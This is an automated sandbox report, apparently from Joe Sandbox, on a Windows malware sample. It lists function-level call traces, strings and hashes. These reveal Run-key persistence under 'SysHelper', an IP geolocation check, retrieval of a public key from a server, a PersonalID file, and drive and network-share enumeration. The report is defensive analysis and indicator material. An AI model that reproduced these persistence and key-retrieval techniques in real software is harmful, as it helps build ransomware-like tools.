K32EnumProcessModules.KERNEL32(00000000,?,00000004,?), ref: 00412315
K32GetModuleBaseNameW.KERNEL32(00000000,?,?,00000400), ref: 0041232C
CloseHandle.KERNEL32(00000000), ref: 00412347

Strings

EnumProcessModules, xrefs: 0041226C, 004122A1
EnumProcesses, xrefs: 00412264, 00412299
Psapi.dll, xrefs: 0041228C
kernel32.dll, xrefs: 0041224E
GetModuleBaseNameW, xrefs: 00412277, 004122AC

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: AddressProc$CommandEnumLibraryLineLoadNameProcess$ArgvBaseCloseFileFindHandleModuleModulesOpenPathProcesses
String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Psapi.dll$kernel32.dll
API String ID: 3668891214-3807497772
Opcode ID: 2a8a9dd9818d9c7303d75e32746d1d8df15d61a28851d0a93ed3ef8fb498139a
Instruction ID: 197cd9f83d52dd112842658ec983a676e251e24b3cd7e802a51fbc3a937a58d5
Opcode Fuzzy Hash: 2a8a9dd9818d9c7303d75e32746d1d8df15d61a28851d0a93ed3ef8fb498139a
Instruction Fuzzy Hash: A3315371E0021DAFDB11AFE5DC45EEEBBB8FF45704F04406AF904E2190DA749A418FA5

Uniqueness

Uniqueness Score: -1.00%

Function 0041F130 Relevance: 21.7, APIs: 11, Strings: 1, Instructions: 689sleeptimewindowCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 0041F15E
Sleep.KERNEL32(?), ref: 0041F185
Sleep.KERNEL32(?), ref: 0041F19D
SendMessageW.USER32(?,00008003,00000000,00000000), ref: 0041F9D0

Part of subcall function 00410A50: GetLogicalDrives.KERNEL32 ref: 00410A75
Part of subcall function 00410A50: SetErrorMode.KERNEL32(00000001,00500234,00000002), ref: 00410AE2
Part of subcall function 00410A50: PathFileExistsA.SHLWAPI(?), ref: 00410AF9
Part of subcall function 00410A50: SetErrorMode.KERNEL32(00000000), ref: 00410B02
Part of subcall function 00410A50: GetDriveTypeA.KERNEL32(?), ref: 00410B1B

Strings

C:\, xrefs: 0041F1FC, 0041F267, 0041F709, 0041F72E, 0041F736

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: ErrorModeSleep$DriveDrivesExistsFileLogicalMessagePathSendTimeTypetime
String ID: C:\
API String ID: 3672571082-3404278061
Opcode ID: d90830817d849152e103604e5852785e8680d2a293cf131fd91d1a4aba49821b
Instruction ID: 5c6d64671d491e840e8d62e2c9f1d443296aa8abdfe0033865403ad230f1735f
Opcode Fuzzy Hash: d90830817d849152e103604e5852785e8680d2a293cf131fd91d1a4aba49821b
Instruction Fuzzy Hash: C842B171E003059BDF24DFA8C885BDEB7B1BF44308F14452EE805AB381D779A98ACB95

Uniqueness

Uniqueness Score: -1.00%

Function 0041BAE0 Relevance: 18.3, APIs: 12, Instructions: 320
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostQuitMessage.USER32(00000000), ref: 0041BB49
DefWindowProcW.USER32(?,?,?,?), ref: 0041BBBA
_malloc.LIBCMT ref: 0041BBE4
GetComputerNameW.KERNEL32(00000000,?), ref: 0041BBF4
_free.LIBCMT ref: 0041BCD7

Part of subcall function 00411CD0: RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
Part of subcall function 00411CD0: _memset.LIBCMT ref: 00411D3B
Part of subcall function 00411CD0: RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
Part of subcall function 00411CD0: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
Part of subcall function 00411CD0: lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
Part of subcall function 00411CD0: PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48

IsWindow.USER32(?), ref: 0041BF69
DestroyWindow.USER32(?), ref: 0041BF7B
DefWindowProcW.USER32(?,00008003,?,?), ref: 0041BFA8

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Window$Proc$CloseComputerDestroyExistsFileMessageNameOpenPathPostQueryQuitValue_free_malloc_memsetlstrlen
String ID:
API String ID: 3873257347-0
Opcode ID: da249358c2f751eef2e3605d2083978924218e3fa266878f9565d327a95b07a4
Instruction ID: 866eb7db68ae170cd8e17be643faf7720e0ae735171854e0fa5cbc2bc792534d
Opcode Fuzzy Hash: da249358c2f751eef2e3605d2083978924218e3fa266878f9565d327a95b07a4
Instruction Fuzzy Hash: 85C19171508340AFDB20DF25DD45B9BBBE0FF85318F14492EF888863A1D7799885CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00423576 Relevance: 16.8, APIs: 11, Instructions: 258
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 004235B1

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

__gmtime64_s.LIBCMT ref: 0042364A
__gmtime64_s.LIBCMT ref: 00423680
__gmtime64_s.LIBCMT ref: 0042369D
__allrem.LIBCMT ref: 004236F3
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0042370F
__allrem.LIBCMT ref: 00423726
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423744
__allrem.LIBCMT ref: 0042375B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423779
__invoke_watson.LIBCMT ref: 004237EA

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: ab95fd8d4aa8d0004faaa41ec126efad4d06c0b8c45c9850b5361983c80b405c
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: 6E7108B1B00726BBD7149E6ADC41B5AB3B8AF40729F54823FF514D6381E77CEA408798

Uniqueness

Uniqueness Score: -1.00%

Function 0040CF10 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 228
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0040CF4A
InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6
InternetReadFile.WININET(00000000,?,00002800,?), ref: 0040CFCD
InternetCloseHandle.WININET(00000000), ref: 0040CFDA
InternetCloseHandle.WININET(00000000), ref: 0040CFDD

Strings

https://api.2ip.ua/geo.json, xrefs: 0040CF79
Microsoft Internet Explorer, xrefs: 0040CF5A
"country_code":", xrefs: 0040CFE1

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$FileRead_memset
String ID: "country_code":"$Microsoft Internet Explorer$https://api.2ip.ua/geo.json
API String ID: 1485416377-2962370585
Opcode ID: cd78e1898ea84e60fdfa50f9eb83c3ab62832c9868a69cc69d1cb43ec1d7311d
Instruction ID: 63dc5d72282b855868e1768d03255ed744c0e271f8772f8e66d922d9032ce3a5
Opcode Fuzzy Hash: cd78e1898ea84e60fdfa50f9eb83c3ab62832c9868a69cc69d1cb43ec1d7311d
Instruction Fuzzy Hash: 0F91B470D00218EBDF10DF90DD55BEEBBB4AF05308F14416AE4057B2C1DBBA5A89CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0040C740 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 00420FDD: __wfsopen.LIBCMT ref: 00420FE8

_fgetws.LIBCMT ref: 0040C7BC
_memmove.LIBCMT ref: 0040C89F
CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0040C94B

Strings

C:\SystemID, xrefs: 0040C946
C:\SystemID\PersonalID.txt, xrefs: 0040C77C, 0040C956

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: CreateDirectory__wfsopen_fgetws_memmove
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2864494435-54166481
Opcode ID: bc0409cf67eb96ff452217d95cb33fc7a1503bde444b563dd6455330355649b4
Instruction ID: 3a80d152ee3a33a632d987be3a831cd6f981e29f6d1810208bb328cacc5ceb60
Opcode Fuzzy Hash: bc0409cf67eb96ff452217d95cb33fc7a1503bde444b563dd6455330355649b4
Instruction Fuzzy Hash: 449193B2E00219DBCF20DFA5D9857AFB7B5AF04304F54463BE805B3281E7799A44CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040F310 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 311libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Shell32.dll,75B04E90), ref: 0040F338
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 0040F353

Strings

SHGetFolderPathW, xrefs: 0040F34D
\, xrefs: 0040F548
Shell32.dll, xrefs: 0040F32C

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: SHGetFolderPathW$Shell32.dll$\
API String ID: 2574300362-2555811374
Opcode ID: 5ddbe03cf6847a2d382d3e307f2eeccb2a4ea735802116afd63e829ea20294e4
Instruction ID: 879cb2c41796572bb27552663435674e3d239ec9c812fe4031d18dca963833e9
Opcode Fuzzy Hash: 5ddbe03cf6847a2d382d3e307f2eeccb2a4ea735802116afd63e829ea20294e4
Instruction Fuzzy Hash: DFC15A70D00209EBDF10DFA4DD85BDEBBB5AF14308F10443AE405B7291EB79AA59CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040C6A0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion,00000000,000F003F,0041E6D4), ref: 0040C6C2
RegQueryValueExW.KERNEL32(00000000,SysHelper,00000000,00000004,?,?), ref: 0040C6F3
RegCloseKey.ADVAPI32(00000000), ref: 0040C700
RegSetValueExW.KERNEL32(00000000,SysHelper,00000000,00000004,?,00000004), ref: 0040C725
RegCloseKey.ADVAPI32(00000000), ref: 0040C72E

Strings

SysHelper, xrefs: 0040C6EB, 0040C71D
Software\Microsoft\Windows\CurrentVersion, xrefs: 0040C6B8

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: CloseValue$OpenQuery
String ID: Software\Microsoft\Windows\CurrentVersion$SysHelper
API String ID: 3962714758-1667468722
Opcode ID: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
Instruction ID: 83d53c3b81c5c3826f22504a9cab54a14a7287ca0244f3776693af22b4817dfa
Opcode Fuzzy Hash: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
Instruction Fuzzy Hash: 60112D7594020CFBDB109F91CC86FEEBB78EB04708F2041A5FA04B22A1D7B55B14AB58

Uniqueness

Uniqueness Score: -1.00%

Function 0041E6E8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 44stringnetworkfileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041E707

Part of subcall function 0040C500: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?), ref: 0040C51B

InternetOpenW.WININET ref: 0041E743
_wcsstr.LIBCMT ref: 0041E7AE
_memmove.LIBCMT ref: 0041E838
lstrcpyW.KERNEL32(?,?), ref: 0041E90A
lstrcatW.KERNEL32(?,&first=false), ref: 0041E93D
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0041E954
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0041E96F
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041E98C
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041E9A3
lstrlenA.KERNEL32(?,00000000,00000000,000000FF), ref: 0041E9CD
InternetCloseHandle.WININET(00000000), ref: 0041E9F3
InternetCloseHandle.WININET(00000000), ref: 0041E9F6
_strstr.LIBCMT ref: 0041EA36
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EA59
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EA74
DeleteFileA.KERNEL32(?), ref: 0041EA82
lstrlenA.KERNEL32({"public_key":",00000000,000000FF), ref: 0041EA92
lstrcpyA.KERNEL32(?,?), ref: 0041EAA4
lstrcpyA.KERNEL32(?,?), ref: 0041EABA
lstrlenA.KERNEL32(?), ref: 0041EAC8
lstrlenA.KERNEL32(00000022), ref: 0041EAE3
lstrcpyW.KERNEL32(?,00000000), ref: 0041EB5B
lstrlenA.KERNEL32(?), ref: 0041EB7C
_malloc.LIBCMT ref: 0041EB86
_memset.LIBCMT ref: 0041EB94
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000001), ref: 0041EBAE
lstrcpyW.KERNEL32(?,00000000), ref: 0041EBB6
_strstr.LIBCMT ref: 0041EBDA
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EC00
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EC24
DeleteFileA.KERNEL32(?), ref: 0041EC32

Strings

{"public_key":", xrefs: 0041EA2E
bowsakkdestx.txt, xrefs: 0041EA67

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Path$Internetlstrcpylstrlen$Folder$AppendFile$CloseDeleteHandleOpen_memset_strstr$ByteCharMultiReadWide_malloc_memmove_wcsstrlstrcat
String ID: bowsakkdestx.txt${"public_key":"
API String ID: 2805819797-1771568745
Opcode ID: b1c6d5b9cc7872d960cbedbbf01e77bd4c23ed7d360ca7e20ceb3fbc707119fd
Instruction ID: c8d03ce4d59ef2fdab541fe9505dce31f646fa9b39186cada3cd653a8fd1c75a
Opcode Fuzzy Hash: b1c6d5b9cc7872d960cbedbbf01e77bd4c23ed7d360ca7e20ceb3fbc707119fd
Instruction Fuzzy Hash: 3901D234448391ABD630DF119C45FDF7B98AF51304F44482EFD8892182EF78A248879B

Uniqueness

Uniqueness Score: -1.00%

Function 00411B10 Relevance: 10.6, APIs: 7, Instructions: 50timewindowsleepCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM(?,?,?,?,0041EE2F), ref: 00411B1E
timeGetTime.WINMM(?,?,0041EE2F), ref: 00411B29
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411B4C
DispatchMessageW.USER32(?), ref: 00411B5C
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411B6A
Sleep.KERNEL32(00000064,?,?,0041EE2F), ref: 00411B72
timeGetTime.WINMM(?,?,0041EE2F), ref: 00411B78

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: MessageTimetime$Peek$DispatchSleep
String ID:
API String ID: 3697694649-0
Opcode ID: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
Instruction ID: 47d0c5dc5d1eae46eaa001befe89e32fbe66e83151f6641dec248f991c3ab793
Opcode Fuzzy Hash: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
Instruction Fuzzy Hash: EE017532A40319A6DB2097E59C81FEEB768AB44B40F044066FB04A71D0E664A9418BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C500 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?), ref: 0040C51B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C539

Strings

bowsakkdestx.txt, xrefs: 0040C52D

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: 474c6379b963d257ae86b00d206dade7857df39941341afbbe7ce7c2bd65e929
Instruction ID: a05810460da3035b09b2d6f50620da2975429261b58b3288bff945a9ad0f9da5
Opcode Fuzzy Hash: 474c6379b963d257ae86b00d206dade7857df39941341afbbe7ce7c2bd65e929
Instruction Fuzzy Hash: 281127B2B4023833D930756A7C87FEB735C9B42725F4001B7FE0CA2182A5AE554501E9

Uniqueness

Uniqueness Score: -1.00%

Function 0041BA80 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0041BAAD
ShowWindow.USER32(00000000,00000000), ref: 0041BABE
UpdateWindow.USER32(00000000), ref: 0041BAC5

Strings

LPCWSTRszWindowClass, xrefs: 0041BAA0
LPCWSTRszTitle, xrefs: 0041BA9B

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Window$CreateShowUpdate
String ID: LPCWSTRszTitle$LPCWSTRszWindowClass
API String ID: 2944774295-3503800400
Opcode ID: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
Instruction ID: 93e3ae8c3ab6e4512016b3ef7200399996c0305a41779b72c5d02abe3f8cd5ff
Opcode Fuzzy Hash: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
Instruction Fuzzy Hash: 08E04F316C172077E3715B15BC5BFDA2918FB05F10F308119FA14792E0C6E569428A8C

Uniqueness

Uniqueness Score: -1.00%

Function 00410BD0 Relevance: 7.7, APIs: 5, Instructions: 234sharememoryCOMMON

Download Yara Rule

APIs

WNetOpenEnumW.MPR(00000002,00000000,00000000,00000000,?), ref: 00410C12
GlobalAlloc.KERNEL32(00000040,00004000), ref: 00410C39
_memset.LIBCMT ref: 00410C4C
WNetEnumResourceW.MPR(?,?,00000000,?), ref: 00410C63

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Enum$AllocGlobalOpenResource_memset
String ID:
API String ID: 364255426-0
Opcode ID: 54b312cc4ee8bd09624119d4c268e334e055f93c635bfd49589b22278edf9028
Instruction ID: bd97fe2cb621df6ca28f66a093f1f6e361520364a30ff1ea4190286e2c40543e
Opcode Fuzzy Hash: 54b312cc4ee8bd09624119d4c268e334e055f93c635bfd49589b22278edf9028
Instruction Fuzzy Hash: 0F91B2756083418FD724DF55D891BABB7E1FF84704F14891EE48A87380E7B8A981CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00410A50 Relevance: 7.6, APIs: 5, Instructions: 104COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 00410A75
SetErrorMode.KERNEL32(00000001,00500234,00000002), ref: 00410AE2
PathFileExistsA.SHLWAPI(?), ref: 00410AF9
SetErrorMode.KERNEL32(00000000), ref: 00410B02
GetDriveTypeA.KERNEL32(?), ref: 00410B1B

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: ErrorMode$DriveDrivesExistsFileLogicalPathType
String ID:
API String ID: 2560635915-0
Opcode ID: c13b280ed3f900bf0aca11b414bebf0a3cc6e8e28e09d0514c511aa4260a6c3a
Instruction ID: e48b338c548d72163c5ae3f73f283317dfaad29deff82c686574d6b9df2ed0f8
Opcode Fuzzy Hash: c13b280ed3f900bf0aca11b414bebf0a3cc6e8e28e09d0514c511aa4260a6c3a
Instruction Fuzzy Hash: 6141F271108340DFC710DF69C885B8BBBE4BB85718F500A2EF089922A2D7B9D584CB97

Uniqueness

Uniqueness Score: -1.00%

Function 00423B4C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00423B64

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(006B0000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

std::exception::exception.LIBCMT ref: 00423B82
__CxxThrowException@8.LIBCMT ref: 00423B97

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,0044F299,?,?,?,?,?,?,?,0044F299,?,00508238,?), ref: 00430F1F

Strings

bad allocation, xrefs: 00423B77

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrow_mallocstd::exception::exception
String ID: bad allocation
API String ID: 3074076210-2104205924
Opcode ID: 90e406a33439ab8b4c4c091d45a105639aa5f985d0ce5a0cfb83a6b20e3eb050
Instruction ID: 445f5c97f97310cbd08f0009147839d9c604c92f3643d32107fe893a2d7397f3
Opcode Fuzzy Hash: 90e406a33439ab8b4c4c091d45a105639aa5f985d0ce5a0cfb83a6b20e3eb050
Instruction Fuzzy Hash: 74F0F97560022D66CB00AF99EC56EDE7BECDF04315F40456FFC04A2282DBBCAA4486DD

Uniqueness

Uniqueness Score: -1.00%

Function 00422130 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0042218E
__read_nolock.LIBCMT ref: 0042225E
__filbuf.LIBCMT ref: 00422281
_memset.LIBCMT ref: 004222C5

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

